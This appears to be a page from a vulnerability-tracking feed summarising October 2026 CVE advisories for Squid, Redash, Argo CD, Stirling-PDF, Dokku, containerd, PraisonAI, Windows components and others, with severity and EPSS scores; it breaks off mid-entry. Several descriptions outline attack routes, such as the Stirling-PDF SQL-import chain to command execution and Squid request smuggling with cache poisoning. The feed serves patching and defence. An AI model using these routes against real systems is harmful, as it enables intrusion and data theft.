### Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code.
https://kevwire.com/record/CVE-2026-54702
Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. (Oct 14, 2026).
Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. Prior to 0.8.30, the webview message handler in src/preview-provider.ts accepts an attacker-controlled command value and attacker-controlled args, constructs a command in the _crossnote namespace, and invokes vscode.commands.executeCommand without an allowlist or type validation. JavaScript already executing in the preview webview can use this bridge to invoke privileged extension commands, including file modification, code-chunk execution, export-tool execution, and arbitrary URL opening, with attacker-selected arguments. Exploitation requires a separate webview JavaScript execution path, such as the independently tracked .crossnote/head.html injection, but no further authorization check protects the extension-host command boundary. This issue is fixed in version 0.8.30.
CVSS 7.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-54702).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-54702&date=2026-10-25).
Sources:
NVD CVE-2026-54702: https://nvd.nist.gov/vuln/detail/CVE-2026-54702
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-54702&date=2026-10-25
Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. Prior to 0.8.30, the webview message handler in src/preview-provider.ts accepts an attacker-controlled command value and attacker-controlled args, constructs a command in the _crossnote namespace, and invokes vscode.commands.executeCommand without an allowlist or type validation. JavaScript already executing in the preview webview can use this bridge to invoke privileged extension commands, including file modification, code-chunk execution, export-tool execution, and arbitrary URL opening, with attacker-selected arguments. Exploitation requires a separate webview JavaScript execution path, such as the independently tracked .crossnote/head.html injection, but no further authorization check protects the extension-host command boundary. This issue is fixed in version 0.8.30.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-57118
PraisonAI is a multi-agent teams system. (Oct 12, 2026).
PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, AgentTeam.launch and the Agents alias register GET /{path}/list, POST /{path}, and `POST /{path}/{agent_id}' without access-control checks before listing agents or calling agent.chat. A remotely exposed server can therefore let unauthenticated clients enumerate agents, consume model resources, access connected private context, and trigger agent tools or workflow side effects. This vulnerability is fixed in praisonaiagents 1.6.59.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57118).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57118&date=2026-10-25).
Sources:
NVD CVE-2026-57118: https://nvd.nist.gov/vuln/detail/CVE-2026-57118
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57118&date=2026-10-25
PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, AgentTeam.launch and the Agents alias register GET /{path}/list, POST /{path}, and `POST /{path}/{agent_id}' without access-control checks before listing agents or calling agent.chat. A remotely exposed server can therefore let unauthenticated clients enumerate agents, consume model resources, access connected private context, and trigger agent tools or workflow side effects. This vulnerability is fixed in praisonaiagents 1.6.59.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Squid is a caching proxy for the Web.
https://kevwire.com/record/CVE-2026-61642
Squid is a caching proxy for the Web. (Oct 13, 2026).
Squid is a caching proxy for the Web. From 3.3.0.1 to before 7.6, due to an improper enforcement of behavioral workflow bug, Squid is vulnerable to a Request Smuggling attack against HTTP/1.1 Transfer-Encoding. HTTP header parsing (`src/HttpHeader.cc`) accepted the bare` Transfer-Encoding:` identity form, which the HTTP specification prohibits because any transfer coding must be wrapped within chunked encoding. This problem allows a trusted client to perform an HTTP Request Smuggling attack when HTTP/1.1 is used, bypassing security mechanisms that may be in place between attacker and Squid. When there is an HTTP cache operating prior to the affected Squid, this Request Smuggling attack also allows the attacker to poison that web cache and store arbitrary malicious content at any URL for delivery to other clients' future requests. This issue is fixed in version 7.6.
CVSS 7.7 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-61642).
EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-61642&date=2026-10-25).
Sources:
NVD CVE-2026-61642: https://nvd.nist.gov/vuln/detail/CVE-2026-61642
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-61642&date=2026-10-25
Squid is a caching proxy for the Web. From 3.3.0.1 to before 7.6, due to an improper enforcement of behavioral workflow bug, Squid is vulnerable to a Request Smuggling attack against HTTP/1.1 Transfer-Encoding. HTTP header parsing (`src/HttpHeader.cc`) accepted the bare` Transfer-Encoding:` identity form, which the HTTP specification prohibits because any transfer coding must be wrapped within chunked encoding. This problem allows a trusted client to perform an HTTP Request Smuggling attack when HTTP/1.1 is used, bypassing security mechanisms that may be in place between attacker and Squid. When there is an HTTP cache operating prior to the affected Squid, this Request Smuggling attack also allows the attacker to poison that web cache and store arbitrary malicious content at any URL for delivery to other clients' future requests. This issue is fixed in version 7.6.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Redash is a package for data visualization and sharing.
https://kevwire.com/record/CVE-2026-77371
Redash is a package for data visualization and sharing. (Oct 14, 2026).
Redash is a package for data visualization and sharing. From 26.0.0 until 26.9.0, the DuckDB query runner's _connect() path in redash/query_runner/duckdb.py created connections with enable_external_access left at its default value of true. A user with query access to an administrator-created DuckDB data source could use native file-reading functions to retrieve files readable by the Redash process or use COPY TO to write files with that process's privileges. Reading application secrets such as REDASH_COOKIE_SECRET or REDASH_SECRET_KEY could also enable forged sessions and authentication bypass. This issue is fixed in version 26.9.0.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77371).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77371&date=2026-10-25).
Sources:
NVD CVE-2026-77371: https://nvd.nist.gov/vuln/detail/CVE-2026-77371
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77371&date=2026-10-25
Redash is a package for data visualization and sharing. From 26.0.0 until 26.9.0, the DuckDB query runner's _connect() path in redash/query_runner/duckdb.py created connections with enable_external_access left at its default value of true. A user with query access to an administrator-created DuckDB data source could use native file-reading functions to retrieve files readable by the Redash process or use COPY TO to write files with that process's privileges. Reading application secrets such as REDASH_COOKIE_SECRET or REDASH_SECRET_KEY could also enable forged sessions and authentication bypass. This issue is fixed in version 26.9.0.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes.
https://kevwire.com/record/CVE-2026-77459
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. (Oct 13, 2026).
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 2.10.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, Argo CD creates PostDelete resource hooks without applying the AppProject destination and resource authorization checks used during ordinary synchronization. The omitted checks include cluster-scoped and namespaced resource allow/deny lists. A user who can write to an Application's Git repository can commit a delete hook targeting a forbidden namespace, server, group, kind, or resource name, and deletion of the Application causes the application-controller to create that resource with its destination-cluster credentials. The reachable impact is bounded by the controller's cluster access but can include cluster-scoped resources, disallowed namespaces, persistent hook objects, and secondary objects created by a hook Job. PreSync, Sync, PostSync, and SyncFail hooks continue to use the normal project checks. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.
CVSS 9.9 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77459).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77459&date=2026-10-25).
Sources:
NVD CVE-2026-77459: https://nvd.nist.gov/vuln/detail/CVE-2026-77459
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77459&date=2026-10-25
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 2.10.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, Argo CD creates PostDelete resource hooks without applying the AppProject destination and resource authorization checks used during ordinary synchronization. The omitted checks include cluster-scoped and namespaced resource allow/deny lists. A user who can write to an Application's Git repository can commit a delete hook targeting a forbidden namespace, server, group, kind, or resource name, and deletion of the Application causes the application-controller to create that resource with its destination-cluster credentials. The reachable impact is bounded by the controller's cluster access but can include cluster-scoped resources, disallowed namespaces, persistent hook objects, and secondary objects created by a hook Job. PreSync, Sync, PostSync, and SyncFail hooks continue to use the normal project checks. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stirling-PDF is a locally hosted web application that facilitates various operations on PDF files.
https://kevwire.com/record/CVE-2026-85714
Stirling-PDF is a locally hosted web application that facilitates various operations on PDF files. (Oct 14, 2026).
Stirling-PDF is a locally hosted web application that facilitates various operations on PDF files. Prior to 2.13.2, an authenticated administrator using the default H2 database and security mode can upload a crafted SQL file to POST /api/v1/database/import-database. DatabaseService.validateSqlContent() splits normalized input on semicolons and accepts a statement when it contains any allowed keyword, allowing dangerous H2 functions such as FILE_READ and CSVWRITE, plus CREATE ALIAS, to bypass the insufficient whitelist and execute side effects when RUNSCRIPT processes the file. This permits arbitrary file access. The demonstrated operating-system command execution chain writes attacker-controlled startup files to a user-site location and then triggers an application Python interpreter configured to load those startup files, resulting in command execution as the JVM service account. This issue is fixed in version 2.13.2.
CVSS 9.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85714).
EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85714&date=2026-10-25).
Sources:
NVD CVE-2026-85714: https://nvd.nist.gov/vuln/detail/CVE-2026-85714
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85714&date=2026-10-25
Stirling-PDF is a locally hosted web application that facilitates various operations on PDF files. Prior to 2.13.2, an authenticated administrator using the default H2 database and security mode can upload a crafted SQL file to POST /api/v1/database/import-database. DatabaseService.validateSqlContent() splits normalized input on semicolons and accepts a statement when it contains any allowed keyword, allowing dangerous H2 functions such as FILE_READ and CSVWRITE, plus CREATE ALIAS, to bypass the insufficient whitelist and execute side effects when RUNSCRIPT processes the file. This permits arbitrary file access. The demonstrated operating-system command execution chain writes attacker-controlled startup files to a user-site location and then triggers an application Python interpreter configured to load those startup files, resulting in command execution as the JVM service account. This issue is fixed in version 2.13.2.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dokku is a docker-powered platform as a service.
https://kevwire.com/record/CVE-2026-86002
Dokku is a docker-powered platform as a service. (Oct 14, 2026).
Dokku is a docker-powered platform as a service. In Dokku versions before 0.38.25, a user with app-level Dokku access and remote SSH access to execute docker-options commands can store arbitrary strings through the docker-options plugin, and those strings are later concatenated into DOCKER_ARGS and processed by Bash eval during build, deploy, or run operations. Shell command substitutions in the stored values are interpreted on the host, allowing arbitrary command execution with the privileges of the dokku operating-system user. This issue is fixed in version 0.38.25.
CVSS 9.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86002).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86002&date=2026-10-25).
Sources:
NVD CVE-2026-86002: https://nvd.nist.gov/vuln/detail/CVE-2026-86002
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86002&date=2026-10-25
Dokku is a docker-powered platform as a service. In Dokku versions before 0.38.25, a user with app-level Dokku access and remote SSH access to execute docker-options commands can store arbitrary strings through the docker-options plugin, and those strings are later concatenated into DOCKER_ARGS and processed by Bash eval during build, deploy, or run operations. Shell command substitutions in the stored values are interpreted on the host, allowing arbitrary command execution with the privileges of the dokku operating-system user. This issue is fixed in version 0.38.25.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Enterprise Architect is vulnerable to XML External Entity (XXE) injection in the XSLT Debugger feature.
https://kevwire.com/record/CVE-2026-88794
Enterprise Architect is vulnerable to XML External Entity (XXE) injection in the XSLT Debugger feature. (Oct 15, 2026).
Enterprise Architect is vulnerable to XML External Entity (XXE) injection in the XSLT Debugger feature. When a user loads a crafted XML file containing a `DOCTYPE` with an external DTD reference, the parser processes external entities, allowing an attacker to read arbitrary files from the victim's filesystem.

Because vendor contact attempts were unsuccessful, the vulnerability has only been confirmed in version 17.1 but may also affect other versions.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88794).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88794&date=2026-10-25).
Sources:
NVD CVE-2026-88794: https://nvd.nist.gov/vuln/detail/CVE-2026-88794
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88794&date=2026-10-25
Enterprise Architect is vulnerable to XML External Entity (XXE) injection in the XSLT Debugger feature. When a user loads a crafted XML file containing a `DOCTYPE` with an external DTD reference, the parser processes external entities, allowing an attacker to read arbitrary files from the victim's filesystem.

Because vendor contact attempts were unsuccessful, the vulnerability has only been confirmed in version 17.1 but may also affect other versions.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Podman is a tool for managing OCI containers and pods.
https://kevwire.com/record/CVE-2026-94603
Podman is a tool for managing OCI containers and pods. (Oct 13, 2026).
Podman is a tool for managing OCI containers and pods. From 4.4.0 until 5.8.8 and 6.1.3, podman run treats an image carrying the io.podman.annotations.checkpoint.runtime.name annotation as a checkpoint and silently ignores user-supplied container creation restrictions such as --cap-drop=ALL, allowing image-controlled checkpoint state to select weaker sandbox settings and capabilities. Rootless containers are not affected because checkpoint and restore are unavailable in that mode. This issue is fixed in versions 5.8.8 and 6.1.3.
CVSS 10.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94603).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94603&date=2026-10-25).
Sources:
NVD CVE-2026-94603: https://nvd.nist.gov/vuln/detail/CVE-2026-94603
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94603&date=2026-10-25
Podman is a tool for managing OCI containers and pods. From 4.4.0 until 5.8.8 and 6.1.3, podman run treats an image carrying the io.podman.annotations.checkpoint.runtime.name annotation as a checkpoint and silently ignores user-supplied container creation restrictions such as --cap-drop=ALL, allowing image-controlled checkpoint state to select weaker sandbox settings and capabilities. Rootless containers are not affected because checkpoint and restore are unavailable in that mode. This issue is fixed in versions 5.8.8 and 6.1.3.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### containerd is an open-source container runtime.
https://kevwire.com/record/CVE-2026-95837
containerd is an open-source container runtime. (Oct 12, 2026).
containerd is an open-source container runtime. From 2.1.0 until 2.2.7 and 2.3.4, containerd's CRI CreateContainer checkpoint restore is vulnerable because CRIU restores process security state from checkpoint data instead of enforcing the destination ContainerConfig. An attacker who can create a container from a crafted checkpoint can supply restored credentials, capabilities, no_new_privs, and seccomp state. The restored process can run as root with full capabilities and no enforced seccomp filters while CRI status reports the requested configuration. Systems that do not use CRI checkpoint restore are not affected. This issue is fixed in versions 2.2.7 and 2.3.4.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-95837).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-95837&date=2026-10-25).
Sources:
NVD CVE-2026-95837: https://nvd.nist.gov/vuln/detail/CVE-2026-95837
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-95837&date=2026-10-25
containerd is an open-source container runtime. From 2.1.0 until 2.2.7 and 2.3.4, containerd's CRI CreateContainer checkpoint restore is vulnerable because CRIU restores process security state from checkpoint data instead of enforcing the destination ContainerConfig. An attacker who can create a container from a crafted checkpoint can supply restored credentials, capabilities, no_new_privs, and seccomp state. The restored process can run as root with full capabilities and no enforced seccomp filters while CRI status reports the requested configuration. Systems that do not use CRI checkpoint restore are not affected. This issue is fixed in versions 2.2.7 and 2.3.4.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88071
Double free in Windows Hyper-V allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Double free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88071).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88071&date=2026-10-25).
Sources:
NVD CVE-2026-88071: https://nvd.nist.gov/vuln/detail/CVE-2026-88071
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88071
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88071&date=2026-10-25
Double free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88074
Integer overflow or wraparound in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88074).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88074&date=2026-10-25).
Sources:
NVD CVE-2026-88074: https://nvd.nist.gov/vuln/detail/CVE-2026-88074
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88074
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88074&date=2026-10-25
Integer overflow or wraparound in Windows Virtualization-Based Security (VBS) Enclave allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over a...
https://kevwire.com/record/CVE-2026-88075
Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over a... (Oct 13, 2026).
Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88075).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88075&date=2026-10-25).
Sources:
NVD CVE-2026-88075: https://nvd.nist.gov/vuln/detail/CVE-2026-88075
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88075
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88075&date=2026-10-25
Improper neutralization of special elements used in an sql command ('sql injection') in Microsoft Configuration Manager allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Null pointer dereference in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88079
Null pointer dereference in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Null pointer dereference in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88079).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88079&date=2026-10-25).
Sources:
NVD CVE-2026-88079: https://nvd.nist.gov/vuln/detail/CVE-2026-88079
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88079
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88079&date=2026-10-25
Null pointer dereference in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an unauthorized attacker to perform tampering over a network.
https://kevwire.com/record/CVE-2026-88092
Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an unauthorized attacker to perform tampering over a network. (Oct 13, 2026).
Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an unauthorized attacker to perform tampering over a network.
CVSS 9.4 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88092).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88092&date=2026-10-25).
Sources:
NVD CVE-2026-88092: https://nvd.nist.gov/vuln/detail/CVE-2026-88092
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88092
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88092&date=2026-10-25
Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an unauthorized attacker to perform tampering over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88100
Use after free in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88100).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88100&date=2026-10-25).
Sources:
NVD CVE-2026-88100: https://nvd.nist.gov/vuln/detail/CVE-2026-88100
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88100
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88100&date=2026-10-25
Use after free in Windows Storage Spaces Controller allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Failover Cluster allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88102
Use after free in Windows Failover Cluster allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows Failover Cluster allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88102).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88102&date=2026-10-25).
Sources:
NVD CVE-2026-88102: https://nvd.nist.gov/vuln/detail/CVE-2026-88102
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88102
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88102&date=2026-10-25
Use after free in Windows Failover Cluster allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96320
Heap-based buffer overflow in Windows DHCP Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows DHCP Server allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96320).
